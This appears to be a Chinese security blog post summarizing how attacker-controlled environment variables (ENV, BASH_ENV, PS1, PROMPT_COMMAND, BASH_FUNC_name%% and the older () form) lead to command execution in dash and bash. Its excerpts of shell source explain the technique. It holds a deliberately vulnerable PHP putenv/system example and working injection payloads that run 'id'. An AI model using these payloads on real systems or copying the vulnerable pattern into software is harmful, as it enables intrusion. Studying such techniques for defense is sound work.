环境变量注入

这篇文章只是对p牛的 我是如何利用环境变量注入执行任意命令 这篇文章进行总结

环境变量注入条件：用户可以控制环境变量，有执行命令的点但命令不可控

例子：

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<?php
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>

其中PHP的system调用的是系统的popen()，而popen()最终执行的是sh -c "echo hello"

sh通常只是一个软连接。在debian系操作系统中，sh指向dash；在centos系操作系统中，sh指向bash。

dash

dash源码

ENV

main函数有关环境变量的代码：

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if (
#ifndef linux
		getuid() == geteuid() && getgid() == getegid() &&
#endif
		iflag
	) {
		if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
			read_profile(shinit);
		}
	}

可以看到代码会先判断iflag的值

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#define iflag optlist[3]

const char optletters[NOPTS] = {
	'e',
	'f',
	'I',
	'i',
	'm',
	'n',
	's',
	'x',
	'v',
	'V',
	'E',
	'C',
	'a',
	'b',
	'u',
	0,
	0,
};

options(int cmdline)
{
	char *p;
	int val;
	int c;
	int login = 0;

	if (cmdline)
		minusc = NULL;
	while ((p = *argptr) != NULL) {
		argptr++;
		if ((c = *p++) == '-') {
			val = 1;
      /* ....  */
      } else if (c == '+') {
			val = 0;
		} else {
			argptr--;
			break;
		}
		while ((c = *p++) != '\0') {
			if (c == 'c' && cmdline) {
				minusc = p;	/* command is after shell args*/
			} else if (c == 'l' && cmdline) {
				login = 1;
			} else if (c == 'o') {
				minus_o(*argptr, val);
				if (*argptr)
					argptr++;
			} else {
				setoption(c, val);
			}
		}
	}

	return login;
}


setoption(int flag, int val)
{
	int i;

	for (i = 0; i < NOPTS; i++)
		if (optletters[i] == flag) {
			optlist[i] = val;
			if (val) {
				/* #%$ hack for ksh semantics */
				if (flag == 'V')
					Eflag = 0;
				else if (flag == 'E')
					Vflag = 0;
			}
			return;
		}
	sh_error("Illegal option -%c", flag);
	/* NOTREACHED */
}

通过以上代码可以知道setoption函数会解析传入的参数，当传入了-i时，iflag就为1了

结论：所以在dash中需要传入-i参数才能执行read_profile(shinit)，解析ENV变量。但在php的system函数中不能使用

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ENV='$(id 1>&2)' dash -i -c 'echo hello'

PS1、PS4

PS1、PS2、PS4这三个环境变量也会被expandstr函数解析

但是PS1有限制，需要进入交互式shell中才能执行

PS4则只能解析变量，无法执行命令

bash

bash源码

BASH_ENV

在bash中有个和ENV类似的变量：BASH_ENV

直接那上面的payload改：BASH_ENV='$(id 1>&2)' bash -c 'echo hello'

可以发现不需要-i也能执行了

分析这段代码

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 /* A non-interactive shell not named `sh' and not in posix mode reads and
    executes commands from $BASH_ENV.  If `su' starts a shell with `-c cmd'
    and `-su' as the name of the shell, we want to read the startup files.
    No other non-interactive shells read any startup files. */
 if (interactive_shell == 0 && !(su_shell && login_shell))
   {
     if (posixly_correct == 0 && act_like_sh == 0 && privileged_mode == 0 &&
    sourced_env++ == 0)
execute_env_file (get_string_value ("BASH_ENV"));
     return;
   }

从注释中可以看到，当使用sh时，act_like_sh的值会为1，就不会解析BASH_ENV了

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if (shell_name[0] == 's' && shell_name[1] == 'h' && shell_name[2] == '\0')
  act_like_sh++;
if (shell_name[0] == 's' && shell_name[1] == 'u' && shell_name[2] == '\0')
  su_shell++;

所以只能在bash -c的情况下使用

ENV PS1 PROMPT_COMMAND

与dash同样，ENV PS1也能使用

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      /* bash */
      if (act_like_sh == 0 && no_rc == 0)
	{
#ifdef SYS_BASHRC
#  if defined (__OPENNT)
	  maybe_execute_file (_prefixInstallPath(SYS_BASHRC, NULL, 0), 1);
#  else
	  maybe_execute_file (SYS_BASHRC, 1);
#  endif
#endif
	  maybe_execute_file (bashrc_file, 1);
	}
      /* sh */
      else if (act_like_sh && privileged_mode == 0 && sourced_env++ == 0)
	execute_env_file (get_string_value ("ENV"));
    }
  else		/* bash --posix, sh --posix */
    {
      /* bash and sh */
      if (interactive_shell && privileged_mode == 0 && sourced_env++ == 0)
	execute_env_file (get_string_value ("ENV"));
    }

不过必须是通过sh调用，而不是直接使用bash

ENV='$(id 1>&2)' sh -i -c "echo hello"

PS1用法一样。在bash中还有一个变量PROMPT_COMMAND，设置了这个环境变量后，进入交互式模式前，会执行这个变量里包含的命令

PROMPT_COMMAND='id' bash

BASH_FUNC_xxx%%

variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量

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#define BASHFUNC_PREFIX		"BASH_FUNC_"
#define BASHFUNC_PREFLEN	10	/* == strlen(BASHFUNC_PREFIX */
#define BASHFUNC_SUFFIX		"%%"
#define BASHFUNC_SUFFLEN	2	/* == strlen(BASHFUNC_SUFFIX) */
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privmode == 0，即不能传入-p参数
read_but_dont_execute == 0，即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN)，环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN)，环境变量名后两个字符等于%%
STREQN ("() {", string, 4)，环境变量的值前4个字符等于() {

其实就是根据环境变量的值初始化一个匿名函数，并赋予其名字

例如env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

再将变量名改成system中执行的函数名，就能实现覆盖

env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

但是设置BASH_FUNC_myfunc%%的方法并不完美，因为BASH_FUNC_是在Bash 4.4下引入的，centos 7的bash版本默认为Bash 4.2

Bash 4.2的补丁

可以看到在4.2下的BASHFUNC_SUFFIX是()，而不是%%

更改payload：env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

解决了文章开头提出的问题

总结

dash bash 条件
ENV √ √ sh或者dash下额外的 -i -c 参数
PS1 √ √ 交互环境下
BASH_ENV × √ 可以在 bash -c 时注入任意命令 sh -c 下无效
PROMPT_COMMAND × √ 交互环境下
BASH_FUNC_xxx%% √ 4.4及以上 √ 无
BASH_FUNC_xxx() √ 4.4以前 √ 无
shellshock √ √ 存在shellshock漏洞
linux
#php #bash
环境变量注入
https://www.dr0n.top/posts/7b50f6ef/
作者
dr0n
发布于
2022年8月25日
更新于
2025年7月27日
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